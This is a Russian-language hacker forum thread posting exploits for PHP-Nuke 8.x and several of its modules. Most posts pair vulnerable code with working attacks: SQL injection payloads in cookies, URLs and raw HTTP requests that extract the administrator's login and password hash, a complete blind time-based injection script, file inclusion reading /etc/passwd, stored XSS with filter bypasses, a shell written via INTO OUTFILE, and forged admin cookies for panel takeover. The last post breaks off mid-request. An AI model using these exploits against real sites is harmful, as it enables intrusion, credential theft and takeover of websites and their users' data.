Старый 05.07.2010, 00:24   #1
I-I00K
 
Регистрация: 01.07.2010
Сообщений: 31
Репутация: 55
По умолчанию Уязвимости PHP-NUKE и модулей

Обновленно: 01.07.2012
Cпустил ранее найденные мной уязвимости, поскольку они потеряли актуальность

SQL-Injection In PHP-Nuke <= 8.1(Module Journal)

Код:
         $username = $cookie[1];
        $user = filter($user, "nohtml");
        $username = filter($username, "nohtml");
        $sitename = filter($sitename, "nohtml");
        $title = filter($title, "nohtml");
        $title = addslashes($title);
        if (isset($mood)) { $mood = filter($mood, "nohtml"); }
        else { $mood = ""; }
        $jbodytext = kses(ADVT_stripslashes($jbodytext), $allowed);
        $jbodytext = addslashes($jbodytext);
        $sql = "INSERT INTO ".$prefix."_journal (jid,aid,title,bodytext,mood,pdate,ptime,status,mtime,mdate) VALUES (NULL,'$username','$title','$jbodytext','$mood','$pdate','$ptime','$status','$mtime','$ndate')";
        $db->sql_query($sql);
        update_points(1);
        $sql = "SELECT * FROM ".$prefix."_journal_stats WHERE joid = '$username'";
Для эксплуатации достаточно перейти по ссылке
Код:
/modules.php?name=Journal&file=add
и поместить в куки
Код:
base64_encode(yourid:yournick',0,(select concat_ws(0x3a,aid,pwd) from nuke_authors limit 0,1),1,1,1,1,1,1)/*:yourhash:10:thread:1:0:0:0:RusNuke2003:4096)
Пишем запись любого содержания, в результате получаем login:hash админа


SQL-Injection In PHP-Nuke <= 8.1(Module Downloads)
Фрагмент уязвимого кода:
/modules/Downloads/index.php
PHP код:
function Add($title$url$auth_name$cat$description$email$filesize$version$homepage) {
    global 
$prefix$db$user;
        
$sql "SELECT url FROM ".$prefix."_downloads_downloads WHERE url='$url'";
    
$result $db->sql_query($sql); 
Как мы видим данные из параметра url попадают в запрос без какой-либо фильтрации, magic_quotes_gpc должен быть off, инъекция слепая, вывод ошибок отсутствует, остается Benchmark.
Exploit:
PHP код:
<?php
set_time_limit
(0);
/*-----------------------------------------------------*/ 
//Эксплойт для PHPNuke 8.1(Module Downloads)
//Автор: l-l00K
/*-----------------------------------------------------*/  

/*-----------------Настройки---------------------------*/  
$host="localhost";//указываем хост
$cookie="user=MjphZG1pbjo5NmU3OTIxODk2NWViNzJjOTJhNTQ5ZGQ1YTMzMDExMjoxMDp0aHJlYWQ6MTowOjA6MDpSdXNOdWtlMjAwMzo0MDk2";//указываем куки
$sleeptime 5;//указываем время задержки
$bnk_value 1555511;//указываем значение для benchmark
$path="/modules.php?name=Downloads&d_op=AddDownload";
$index 1;
$result "";
$body_b  "d_op=Add&url=1' and IF(ord(SUBSTRING((select pwd from nuke_authors limit 0,1),";
$body_end ",1,BENCHMARK($bnk_value,MD5(NOW()))) -- ";
/*-----------------------------------------------------*/


function GetMiddle($min$max)
{
 return 
floor($min+((($max+1)-($min-1))/2));
}


 function 
post_sql($host,$path,$post_body)
 {
 global 
$sleeptime;global $cookie;
 
$btime time();
 
$post_query  "POST ".$path." HTTP/1.1\r\n";
 
$post_query .= "Host: ".$host."\r\n";
 
$post_query .= "Cookie: ".$cookie."\r\n";
 
$post_query .= "Referer: http://$host.$path\r\n";
 
$post_query .= "Connection: close\r\n";
 
$post_query .= "Content-Type: application/x-www-form-urlencoded\r\n";
 
$post_query .= "Content-length: " strlen($post_body) . "\r\n\r\n";
 
$post_query .= $post_body;
 
$sock fsockopen($host80$errno$errstr30);
 
 if (!
$sock) die('Could not connect to host! ');

 
fputs($sock$post_query);
 
$answer '';
 
$answer .= fgets($sock32);
 
fclose($sock);               
 
$ltime time();
 
$alltime $ltime $btime;
 if(
$alltime>($sleeptime-1))
 return 
false; else return true;
}


function 
Check($min,$max)
{
 if ((
$max-$min)<=2)
  {
  global 
$index;
  global 
$result;
  global 
$host;
  global 
$path;
  global 
$body_b;
  global 
$body_end;
  echo 
"Символ найден: ";
  if ((
$max-$min)==1)
  if (
post_sql($host$path$body_b.$index.",1))=".$max.$body_end)) 
   
$result .=chr($max); else $result .=chr($min);
  if ((
$max-$min)==2)
  {
  if (
post_sql($host$path$body_b.$index.",1))>".($max-1).$body_end))
  {
    
$result .=chr($max);
  } else
  {
   if(
post_sql($host$path$body_b.$index.",1))=".($max-1).$body_end))
    
$result .=chr($max-1); else $result .=chr($min);  
  }
  }
   echo 
substr($result,strlen($result)-1)."<br>";
   
flush();
   
$index++;
    return 
true;
  } else return 
false;
}



 if (
post_sql($host$path$body_b.$index.",1))>0".$body_end)) 
 {
  echo (
"Символ есть, идет подбор...<br>");
  
flush();
  
$ok true;
 }
 else 
 {
 die(
"Failed");
 }
for (
$i=0;$i<32;$i++)
{
 
$ok true;
 
$min 31;
 
$max 123;
 while (
$ok == true)
 {
  
sleep(2);
  
$num GetMiddle($min,$max);
  if (!
check($min,$max))
  {
  if (
post_sql($host$path$body_b.$index.",1))<".$num.$body_end)) 
  {
   echo(
"Меньше $num <br>");
   
$max $num;
  } else
  {
   echo (
"Больше $num <br>"); 
   
$min $num;
  } 
  
flush();
 } else 
$ok false;
 } 
}

echo 
$result
?>
SQL-Injection In PHP-Nuke <= 8.1(Module Web_Links)

Фрагмент уязвимого кода:
/modules/Web_Links/index.php
PHP код:
function Add($title$url$auth_name$cat$description$email) {
    global 
$prefix$db$user;
    
$result $db->sql_query("SELECT url from ".$prefix."_links_links where url='$url'");
$result $db->sql_query($sql); 
Как видим бага из одного модуля перекачевала в другой, сплоит приведенный выше будет работать и здесь, но для этого значение для $path нужно заменить на
Код:
$path="/modules.php?name=Web_Links&l_op=AddLink";
а значения для $body_b на
Код:
$body_b  = "l_op=Add&url=1' and IF(ord(SUBSTRING((select pwd from nuke_authors limit 0,1),";

SQL-Injections PHP-Nuke <= 8.1(Module Your_Account)
Уязвимость в файле: /modules/Your_Account/index.php
Необходимо: magic_quotes_gpc = off

#1
Фрагмент уязвимого кода:
PHP код:
function savecomm($user_id$username$umode$uorder$thold$noscore$commentmax) {
    global 
$user$cookie$userinfo$user_prefix$db$module_name;
    
cookiedecode($user);
    
$check $cookie[1];
    
$check2 $cookie[2];
    
$sql "SELECT user_id, user_password FROM ".$user_prefix."_users WHERE username='$check'";
    
$result $db->sql_query($sql);
    
$row $db->sql_fetchrow($result);
    
$vuid intval($row['user_id']);
    
$ccpass filter($row['user_password'], "nohtml"1);
    if ((
$user_id == $vuid) AND ($check2 == $ccpass)) {
        if(isset(
$noscore)) $noscore=1; else $noscore=0;
        
//echo $umode;
        
$db->sql_query("UPDATE ".$user_prefix."_users SET umode='$umode', uorder='$uorder', thold='$thold', noscore='$noscore', commentmax='$commentmax' WHERE user_id='$user_id'");
        
getusrinfo($user); 
Как видим значение переменной $umode попадает в запрос без какой либо фильтрации.

Exploit:
Код:
POST /nuke81/modules.php?name=Your_Account HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/nuke81/modules.php?name=Your_Account&op=editcomm
Cookie: user=MjphZG1pbjplM2NlYjU4ODFhMGExZmRhYWQwMTI5NmQ3NTU0ODY4ZDoxMDp0aHJlYWQ6MDowOjA6MDpEZWVwQmx1ZTow; admin=YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6; lang=english; member_id=1;
Content-Type: application/x-www-form-urlencoded
Content-Length: 167
umode=thread', bio=(select concat_ws(0x3a,aid,pwd) from nuke_authors limit 0,1) where user_id='YOUR_ID'%23&uorder=0&thold=0&commentmax=0&username=admin&user_id=YOUR_ID&op=savecomm
#2
Фрагмент уязвимого кода:
PHP код:
function saveuser($realname$user_email$femail$user_website$user_icq$user_aim$user_yim$user_msnm$user_from$user_occ$user_interests$newsletter$user_viewemail$user_allow_viewonline$user_notify$user_notify_pm$user_popup_pm$user_attachsig$user_allowbbcode$user_allowhtml$user_allowsmile$user_timezone$user_dateformat$user_sig$bio$user_password$vpass$username$user_id) {
    global 
$user$cookie$userinfo$EditedMessage$user_prefix$db$module_name$minpass;
    
$user_password htmlspecialchars(stripslashes($user_password));
    
cookiedecode($user);
    
$check $cookie[1];
    
$check filter($check"nohtml"1);
    
$check2 $cookie[2];
    
$sql "SELECT user_id, user_password FROM ".$user_prefix."_users WHERE username='$check'";
    
$result $db->sql_query($sql);
    
$row $db->sql_fetchrow($result);
    
$vuid intval($row['user_id']);
    
$ccpass filter($row['user_password'], "nohtml"1);
    
$ccpass htmlspecialchars(stripslashes($ccpass));
    
$user_sig filter($user_sig""1);
    
    
$user_email filter($user_email"nohtml"1);
    
$femail filter($femail"nohtml"1);
    
$user_website filter($user_website"nohtml"1);
    
$bio filter($bio""1);
    
$user_icq intval($user_icq);
    
$user_aim filter($user_aim"nohtml"1);
    
$user_yim filter($user_yim"nohtml"1);
    
$user_msnm filter($user_msnm"nohtml"1);
    
$user_occ filter($user_occ"nohtml"1);
    
$user_from filter($user_from"nohtml"1);
    
$user_interests filter($user_interests"nohtml"1);
    
$realname filter($realname"nohtml"1);
    
$user_avatar "$user_avatar";
    if ((
$user_id == $vuid) AND ($check2 == $ccpass)) {
        if (!
preg_match('#^http[s]?:\/\/#i'$user_website)) {
            
$user_website "http://" $user_website;
        }
        if (!
preg_match('#^http[s]?\\:\\/\\/[a-z0-9\-]+\.([a-z0-9\-]+\.)?[a-z]+#i'$user_website)) {
            
$user_website '';
        }
        if ((isset(
$user_password)) && ("$user_password!= "$vpass")) {
            echo 
"<center>"._PASSDIFFERENT."</center>";
        } elseif ((!empty(
$user_password)) && (strlen($user_password) < $minpass)) {
            echo 
"<center>"._YOUPASSMUSTBE." <b>$minpass</b> "._CHARLONG."</center>";
        } else {
            if (
$bio) { filter_text($bio); $bio $EditedMessage$bio FixQuotes($bio); }
            if (!empty(
$user_password)) {
                
cookiedecode($user);
                
$db->sql_query("LOCK TABLES ".$user_prefix."_users WRITE");
                
$user_password md5($user_password);
                
$newsletter intval($newsletter);
                
$user_allow_viewonline intval($user_allow_viewonline);
                
$user_notify intval($user_notify);
                
$user_notify_pm intval($user_notify_pm);
                
$user_popup_pm intval($user_popup_pm);
                
$user_allowbbcode intval($user_allowbbcode);
                
$user_allowhtml intval($user_allowhtml);
                
$user_allowsmile intval($user_allowsmile);
                
$user_id intval($user_id);
                
$db->sql_query("UPDATE ".$user_prefix."_users SET name='$realname', user_email='$user_email', femail='$femail', user_website='$user_website', user_password='$user_password', bio='$bio', user_icq='$user_icq', user_occ='$user_occ', user_from='$user_from', user_interests='$user_interests', user_sig='$user_sig', user_aim='$user_aim', user_yim='$user_yim', user_msnm='$user_msnm', newsletter='$newsletter', user_viewemail='$user_viewemail', user_allow_viewonline='$user_allow_viewonline', user_notify='$user_notify', user_notify_pm='$user_notify_pm', user_popup_pm='$user_popup_pm', user_attachsig='$user_attachsig', user_allowbbcode='$user_allowbbcode', user_allowhtml='$user_allowhtml', user_allowsmile='$user_allowsmile', user_timezone='$user_timezone', user_dateformat='$user_dateformat' WHERE user_id='$user_id'");
                
$sql "SELECT user_id, username, user_password, storynum, umode, uorder, thold, noscore, ublockon, theme FROM ".$user_prefix."_users WHERE username='$username' AND user_password='$user_password'";
                
$result $db->sql_query($sql);
                if (
$db->sql_numrows($result) == 1) {
                    
$userinfo $db->sql_fetchrow($result);
                    
docookie($userinfo['user_id'],$userinfo['username'],$userinfo['user_password'],$userinfo['storynum'],$userinfo['umode'],$userinfo['uorder'],$userinfo['thold'],$userinfo['noscore'],$userinfo['ublockon'],$userinfo['theme'],$userinfo['commentmax']);
                } else {
                    echo 
"<center>"._SOMETHINGWRONG."</center><br>";
                }
                
$db->sql_query("UNLOCK TABLES");
            } else {
                
$db->sql_query("UPDATE ".$user_prefix."_users SET name='$realname', user_email='$user_email', femail='$femail', user_website='$user_website', bio='$bio', user_icq='$user_icq', user_occ='$user_occ', user_from='$user_from', user_interests='$user_interests', user_sig='$user_sig', user_aim='$user_aim', user_yim='$user_yim', user_msnm='$user_msnm', newsletter='$newsletter', user_viewemail='$user_viewemail', user_allow_viewonline='$user_allow_viewonline', user_notify='$user_notify', user_notify_pm='$user_notify_pm', user_popup_pm='$user_popup_pm', user_attachsig='$user_attachsig', user_allowbbcode='$user_allowbbcode', user_allowhtml='$user_allowhtml', user_allowsmile='$user_allowsmile', user_timezone='$user_timezone', user_dateformat='$user_dateformat' WHERE user_id='$user_id'");
            } 
как видим, если переменная $user_password пуста, то мы получим возможность внедрить наш sql код через переменные $user_notify, $user_notify_pm, $user_popup_pm, $user_allowbbcode, $user_allowhtml, $user_allowsmile, user_viewemail, user_attachsig

Exploit:
Код:
POST /nuke81/modules.php?name=Your_Account HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/nuke81/modules.php?name=Your_Account&op=edituser
Cookie: user=MjphZG1pbjo5NmU3OTIxODk2NWViNzJjOTJhNTQ5ZGQ1YTMzMDExMjoxMDp0aHJlYWQ6MDowOjA6MDpEZWVwQmx1ZTo%3D; admin=YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6; lang=english; member_id=1; 
Content-Type: application/x-www-form-urlencoded
Content-Length: 475
realname=d%5C&user_email=ad%40a.ru&femail=&user_website=&user_icq=0&user_aim=&user_yim=&user_msnm=&user_from=&user_occ=&user_interests=&newsletter=0&user_viewemail=0&user_allow_viewonline=1&user_notify=0&user_notify_pm=0&user_popup_pm=0&user_attachsig=0&user_allowbbcode=1&user_allowhtml=1', bio='lalalala' where user_id=2/*&user_allowsmile=1&user_timezone=%2B10&user_dateformat=D+M+d%2C+Y+g%3Ai+a&user_sig=%5C&bio=1&user_password=&vpass=&username=admin&user_id=2&op=saveuser
Local Include PHP-Nuke <= 8.0
Фрагмент уязвимого кода:
/modules/Your_Account/index.php
PHP код:
function savetheme($user_id$theme) {
    global 
$user$cookie$userinfo$user_prefix$db$module_name$prefix;
    
//include "config.php";
    
$row $db->sql_fetchrow($db->sql_query("SELECT overwrite_theme from ".$prefix."_config"));
    
$overwrite_theme intval($row['overwrite_theme']);

    if (
$overwrite_theme != 1) {
        
Header("Location: modules.php?name=$module_name");    
        die();
    }
    
cookiedecode($user);
    
$user_id intval($user_id);
    
$check $cookie[1];
    
$check filter($check"nohtml"1);
    
$check2 $cookie[2];
    
$theme_error "";
    
$sql "SELECT user_id, user_password FROM ".$user_prefix."_users WHERE username='$check'";
    
$result $db->sql_query($sql);
    
$row $db->sql_fetchrow($result);
    
$vuid intval($row['user_id']);
    
$ccpass filter($row['user_password'], "nohtml"1);
    if ((
$user_id == $vuid) AND ($check2 == $ccpass)) {
        
$db->sql_query("UPDATE ".$user_prefix."_users SET user_style='$theme_id' WHERE user_id='$user_id'"); 
mainfile.php
PHP код:
function get_theme() {
    global 
$user$userinfo$Default_Theme$name$op;
    if (isset(
$ThemeSelSave)) return $ThemeSelSave;
    if (
is_user($user) && ($name != "Your_Account" OR $op != "logout")) {
        
getusrinfo($user);
        if(empty(
$userinfo['theme'])) $userinfo['theme']=$Default_Theme;
        if(
file_exists("themes/".$userinfo['theme']."/theme.php")) {
            
$ThemeSel $userinfo['theme'];
        } else {
            
$ThemeSel $Default_Theme;
        }
    } else {
        
$ThemeSel $Default_Theme;
    }
    static 
$ThemeSelSave;
    
$ThemeSelSave $ThemeSel;
    return 
$ThemeSelSave;

Как видим при записи и при получении значения переменной $theme нет никакой защиты от LFI

Exploit
Код:
POST /phpnuke/modules.php?name=Your_Account HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/phpnuke/modules.php?name=Your_Account&op=chgtheme
Cookie: video_stream_rating=%3A2%3A1%3A3%3A3+and+1%3A3+and+0%3A3%27+and+0%23%3A3%27+and+1%23; admin=YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6; lang=russian; user=MjphZG1pbjo5NmU3OTIxODk2NWViNzJjOTJhNTQ5ZGQ1YTMzMDExMjoxMDp0aHJlYWQ6MTowOjA6MDovLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAA6NDA5Ng%3D%3D; member_id=1;
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
theme=/../../../../../../../etc/passwd%00&user_id=2&op=savetheme
Авторизация
После того как мы получили хэш, его не нужно брутить, достаточно просто сгенерировать валидные куки:
Код:
admin=base64_encode(adminaid:adminhash:)
переходим на /admin.php и мы в админке!
Если на admin.php стоит бейсик аутентификация, не стоит забывать про форум.
Перейдя по ссылке
Код:
/modules/Forums/admin/
Мы окажемся в админке phpbb

Последний раз редактировалось I-I00K; 02.07.2012 в 15:43..
I-I00K вне форума   Ответить с цитированием
Старый 05.07.2010, 00:25   #2
Grey
 
Аватар для Grey
 
Регистрация: 30.06.2010
Сообщений: 38
По умолчанию Уязвимости php-nuke

php-nuke <= 8.0 (SQL инъекция (UPDATE): Изменение данных в таблице users, Получение Активных XSS, Вывод информации из других таблиц)

Требуется: мейждик квотс = офф

Уязвимость в файле modules/Your_Account/index.php, нет фильтрации (ни экранирования кавычек, ни проверки длинны и т.д.) переменных $category и $avatar.

Уязвимый участок кода:

Код:
$newavatar=$category."/".$avatar;
$db->sql_query("UPDATE ".$user_prefix."_users SET user_avatar='$newavatar', user_avatar_type='3' WHERE user_id = '".intval($cookie[0])."'");


Инъекция в UPDATE, таким образом можно:
1. Изменить любой параметр в таблице с пользователями, причем значть префикс для этого не нужно.
Так же можно использовать для получения Активных XSS (Если из инъенкий в SELECT'е можно получуить пассивную XSS, то здесь уже активная, т.к. есть возможность изменять значения в БД, а не только вывод).
2. Вывести информацию из других таблиц, делая вывод подзапроса в одно из полей (которое можно увидеть) своей инфы.
1. И так для того что бы изменить содержимое таблицы делаем так:

Код:
http://site/modules.php?name=Your_Account&op=avatarsave&category=BLABLABLA1&avatar=BLABLABLA2',user_icq='666'+where+user_id=2--+
В данном случае изменится содержимое поля user_icq у пользователя с user_id=2.

В общем случае:

Код:
http://site/modules.php?name=Your_Account&op=avatarsave&category=BLABLABLA1&avatar=BLABLABLA2',[ПОЛЕ КОТОРОЕ МЕНЯЕМ]=[ЗНАЧЕНИЕ]+where+user_id=[НОМЕР ПОЛЬЗОВАТЕЛЯ]--+
Кстати в виде коммента нужно писать --+, Т.к. /* система блочит. Хотя если посмотреть на фильтр, то обойти это будет совсем не сложно:

Код:
... (stripos_clone($queryString,'*%2f*')) OR stripos_clone($queryString,'/*') ...
Сделав вот такое преобразование система пропустит привычную нам комбинацию символов: /* ==> 2%2F%2A.
Только нужно ли оно здесь? Когда можно без проблем использовать --+, здесь это действительно не сильно нужно, а вот если посмотреть чуть дальше - то там уже увидим что жто очень даже нужно.

Для получения Активных XSS закидываем их код в хексы, а затем обновляем поле, ну к примеру c адресом сайта:

Код:
<img src=javascript:alert('Grey')> ==> 0x3c696d67207372633d6a6176617363726970743a616c65727428274772657927293e
http://site/modules.php?name=Your_Account&op=avatarsave&category=BLABLABLA1&avatar=BLABLABLA2',user_website=0x3c696d67207372633d6a6176617363726970743a616c65727428274772657927293e+where+user_id=2--+
http://site/modules.php?name=Your_Account&op=avatarsave&category=BLABLABLA1&avatar=BLABLABLA2',user_website=[КОД СКРИПТА В ХЕКСАХ]+where+user_id=[НОМЕР ПОЛЬЗОВАТЕЛЯ]--+
Закидывать тело скрипта в хексы нужно было для обхода фильтрации.

Теперь при просмотре профиля пользователя, будет срабатывать наш скрипт:

Код:
http://site/modules.php?name=Forums&file=profile&mode=viewprofile&u=2
http://site/modules.php?name=Forums&file=profile&mode=viewprofile&u=[НОМЕР ПОЛЬЗОВАТЕЛЯ]


2.
Для получения информации из других таблиц нужно:

Знать префикс таблиц (по дефолту "nuke").

Дальше делаем такой запрос:

Код:
http://site/modules.php?name=Your_Account&op=avatarsave&category=BLABLABLA1&avatar=BLABLABLA2',user_interests=version(%2F%2A%00%2A%2F%29+where+user_id=2--+
В результате в поле с интересом пользователя будет выведена версия БД.

user_interests=version(%2F%2A%00%2A%2F%29 - что это такое? это обход фильтрации скобок - нельзя что бы в строке была и открывающая и закрывающая скобки.
По этому делаем следующее version(/*%00*/%29 - в результате получаем обход фильтра (/* - в свою очередь тоже нужно конвертировать ==> 2%2F%2A).

Получаем возможность в содержимое любого поля вывести результат подзапроса:

Получам логин админа:

Код:
http://site/modules.php?name=Your_Account&op=avatarsave&category=BLABLABLA1&avatar=BLABLABLA2',user_interests=(select+aid+from+nuke_authors+limit+0,1%2F%2A%00%2A%2F%29+where+user_id=2--+
Получаем хеш пароля админа:

Код:
http://site/modules.php?name=Your_Account&op=avatarsave&category=BLABLABLA1&avatar=BLABLABLA2',user_interests=(select+aid+from+nuke_authors+limit+0,1%2F%2A%00%2A%2F%29+where+user_id=2--+
2008 © Grey

Последний раз редактировалось Grey; 05.07.2010 в 01:10..
Grey вне форума   Ответить с цитированием
Старый 05.07.2010, 00:26   #3
I-I00K
 
Регистрация: 01.07.2010
Сообщений: 31
Репутация: 55
По умолчанию

SQL-Injection In PHP-Nuke <= 8.0(Module Reviews)

/modules/Reviews/index.php
Фрагмент уязвимого кода:
PHP код:
$uname filter($cookie[1], "nohtml");
    
$id intval($id);
    
$score intval($score);
    if (
is_user($user)) {
        
$krow $db->sql_fetchrow($db->sql_query("SELECT karma FROM ".$user_prefix."_users WHERE username='$uname'"));
        if (
$krow['karma'] == 2) {
            
$db->sql_query("insert into ".$prefix."_reviews_comments_moderated values (NULL, '$id', '$uname', now(), '$comments', '$score')");
            include(
"header.php");
            
title(""._MODERATEDTITLE."");
            
OpenTable();
            echo 
"<center>"._COMMENTMODERATED."";
            echo 
"<br><br><a href=\"modules.php?name=$module_name&rop=showcontent&id=$id\">"._MODERATEDTITLE."</a>";
            
CloseTable();
            include(
"footer.php");
            die();
        } elseif (
$krow['karma'] == 3) {
            
Header("Location: modules.php?name=$module_name&rop=showcontent&id=$id");
            die();
        }
    }
    
$db->sql_query("insert into ".$prefix."_reviews_comments values (NULL, '$id', '$uname', now(), '$comments', '$score')"); 
Тут присутствуют сразу 2 sql-inj, в select и в insert запросах, после раскадировки кук, происходит слэширование данных, но в данном фрагменте кода данные из $cookie[1] попадают в ф-цию filter
PHP код:
function filter($what$strip=""$save=""$type="") {
    if (
$strip == "nohtml") {
        
$what check_html($what$strip);
//        $what = htmlentities(trim($what), ENT_QUOTES);
        // If the variable $what doesn't comes from a preview screen should be converted
        
if ($type != "preview" AND $save != 1) {
            
$what html_entity_decode($whatENT_QUOTES);
        }
    }
    if (
$save == 1) {
        
$what check_words($what);
        
$what check_html($what$strip);
        if (!
get_magic_quotes_gpc()) {
        
$what addslashes($what);
}
    } else {
        
$what stripslashes(FixQuotes($what,$strip));
        
$what check_words($what);
        
$what check_html($what$strip);
    }
    return(
$what);

а оттуда в ф-цию check_html
PHP код:
function check_html ($str$strip="") {
    
/* The core of this code has been lifted from phpslash */
    /* which is licenced under the GPL. */
    
include("config.php");
    if (
$strip == "nohtml")
    
$AllowableHTML=array('');
    
$str stripslashes($str);
    
$str eregi_replace("<[[:space:]]*([^>]*)[[:space:]]*>",'<\\1>'$str);
    
// Delete all spaces from html tags .
    
$str eregi_replace("<a[^>]*href[[:space:]]*=[[:space:]]*\"?[[:space:]]*([^\" >]*)[[:space:]]*\"?[^>]*>",'<a href="\\1">'$str);
    
// Delete all attribs from Anchor, except an href, double quoted.
    
$str eregi_replace("<[[:space:]]* img[[:space:]]*([^>]*)[[:space:]]*>"''$str);
    
// Delete all img tags
    
$str eregi_replace("<a[^>]*href[[:space:]]*=[[:space:]]*\"?javascript[[:punct:]]*\"?[^>]*>"''$str);
    
// Delete javascript code from a href tags -- Zhen-Xjell @ http://nukecops.com
    
$tmp "";
    while (
ereg("<(/?[[:alpha:]]*)[[:space:]]*([^>]*)>",$str,$reg)) {
        
$i strpos($str,$reg[0]);
        
$l strlen($reg[0]);
        if (
$reg[1][0] == "/"$tag strtolower(substr($reg[1],1));
        else 
$tag strtolower($reg[1]);
        if (
$a $AllowableHTML[$tag])
        if (
$reg[1][0] == "/"$tag "</$tag>";
        elseif ((
$a == 1) || ($reg[2] == "")) $tag "<$tag>";
        else {
            
# Place here the double quote fix function.
            
$attrb_list=delQuotes($reg[2]);
            
// A VER
            //$attrb_list = ereg_replace("&","&amp;",$attrb_list);
            
$tag "<$tag$attrb_list ">";
        } 
# Attribs in tag allowed
        
else $tag "";
        
$tmp .= substr($str,0,$i) . $tag;
        
$str substr($str,$i+$l);
    }
    
$str $tmp $str;
    return 
$str;
    exit;
    
/* Squash PHP tags unconditionally */
    
$str ereg_replace("<\?","",$str);
    return 
$str;

экранирующие бэкслэши успешно удаляются, поэтому становится возможным внедрить произвольный SQL код. Через инъекцию в select запросе данные вывести не получится, поэтому будем использовать инъекцию в insert
Идем в
Код:
/modules.php?name=Reviews&rop=showcontent&id=1
выбираем любую рецензию, жмем "Поместить комментарий"
в куки кидаем
Код:
base64_encode(yourid:yournick',1,(select concat(aid,0x3a,pwd) from nuke_authors),3)/*:yourhash:10:thread:1:0:0:0:RusNuke2003:4096)
Жмем submit, в результате мы получим login:hash админа

Зато через инъекцию в select запросе при file_priv можно залить шелл, для этого достаточно поместить в куки следующие данные:
Код:
base64_encode(yourid:yournick' union select 0x3c3f20706870696e666f28293b203f3e into outfile '/tmp/theme.php'/*:yourhash:10:thread:1:0:0:0:RusNuke2003:4096)
В отличии от PHP Nuke 8.1 тут путь можно не раскрывать, лить в tmp, а затем просто проинклудить залитый шелл через templetes, для этого идем в /modules.php?name=Your_Account&op=chgtheme
Для этого достаточно отослать POST запросам theme=/../../../../../../../tmp/

Последний раз редактировалось I-I00K; 01.07.2012 в 13:13..
I-I00K вне форума   Ответить с цитированием
Старый 05.07.2010, 00:29   #4
I-I00K
 
Регистрация: 01.07.2010
Сообщений: 31
Репутация: 55
По умолчанию

SQL-Injection In PHP-Nuke <= 8.0(Module News)

Суть баги заключается в том, что в модуле News, в комментариях, данные об email при получении их из БД nuke не фильтрует и подставляет в запрос, что позволяет нам внедрить sql код.

Exploit:

Регистрируемся, редактируем наш аккаунт:
Код:
http://site/modules.php?name=Your_Account&op=edituser
в поле Любой Email пишем:
Код:
admin@admin.ru',1,2,(select concat_ws(0x3a,aid,pwd) from nuke_authors limit 0,1),4,5,6,7)/*
Берем любую новость где разрешено оставлять комментарии, к примеру эту:
Код:
http://site/modules.php?name=News&file=article&sid=554
жмем "Комментировать" и пишем комментарий любого содержания, в результате появиться комментарий содержащий логин:хэш администратора

Последний раз редактировалось I-I00K; 02.07.2012 в 15:39..
I-I00K вне форума   Ответить с цитированием
Старый 05.07.2010, 00:32   #5
I-I00K
 
Регистрация: 01.07.2010
Сообщений: 31
Репутация: 55
По умолчанию

PHP-NUKE module NukeJokes <= 2.2

SQL-injections

Уязвимость в файле: index.php
PHP код:
function CatView($cat$page){
...
   
$result sql_query("SELECT jokecid, catname FROM ".$prefix."_jokes_categories WHERE jokecid='$cat'"$dbi); 
Данные из параметра cat попадают в запрос без каких либо преобразований
Пример запроса:
Код:
/modules.php?name=NukeJokes&func=CatView&cat=-7'%0aunion+select+1,2%23
PHP код:
function JokeView($jokeid){
...
   
$result sql_query("SELECT author, name, date, cat, joke, hits, ratingtot, ratings FROM ".$prefix."_jokes WHERE jokeid='$jokeid'"$dbi); 
Данные из параметра jokeid попадают в запрос без каких либо преобразований
Пример запроса:
Код:
/modules.php?name=NukeJokes&func=JokeView&jokeid=-1'%0aunion+select+1,2,3,4,5,6,7,8%23
Уязвимость в файле: send.php
PHP код:
 function send($jokeid$sendername$senderemail$toname$toemail){
    global 
$sitename$nukeurl$prefix$dbi$module_name$stop;
    include(
"header.php");
    include(
"config.php");
    
checkemail($toemail);
    if (!
$stop) {
    
$result sql_query("SELECT name from ".$prefix."_jokes where jokeid='$jokeid'"$dbi);
    list(
$name) = sql_fetch_row($result$dbi);
    
$subject ""._SUBJECT.$sitename";
    
$message ""._HELLO.$toname:\n\n"._YOURFRIEND.$sendername "._CONSIDERED."\n\n\n$name\n\n"._URL.": $nukeurl/modules.php?name=$module_name&func=JokeView&jokeid=$jokeid\n\n"._YOUCANREAD.$sitename\n$nukeurl";
    
$toemail str_replace(" ","",$toemail);
       
mail($toemail$subject$message"From: \"$sendername\" <$senderemail>\nX-Mailer: PHP/" phpversion()); 
Уязвимость в параметре jokeid, т.к данные из столбца name отправляются на email, при таком запросе:
Код:
POST /modules.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127
Keep-Alive: 300
Connection: keep-alive
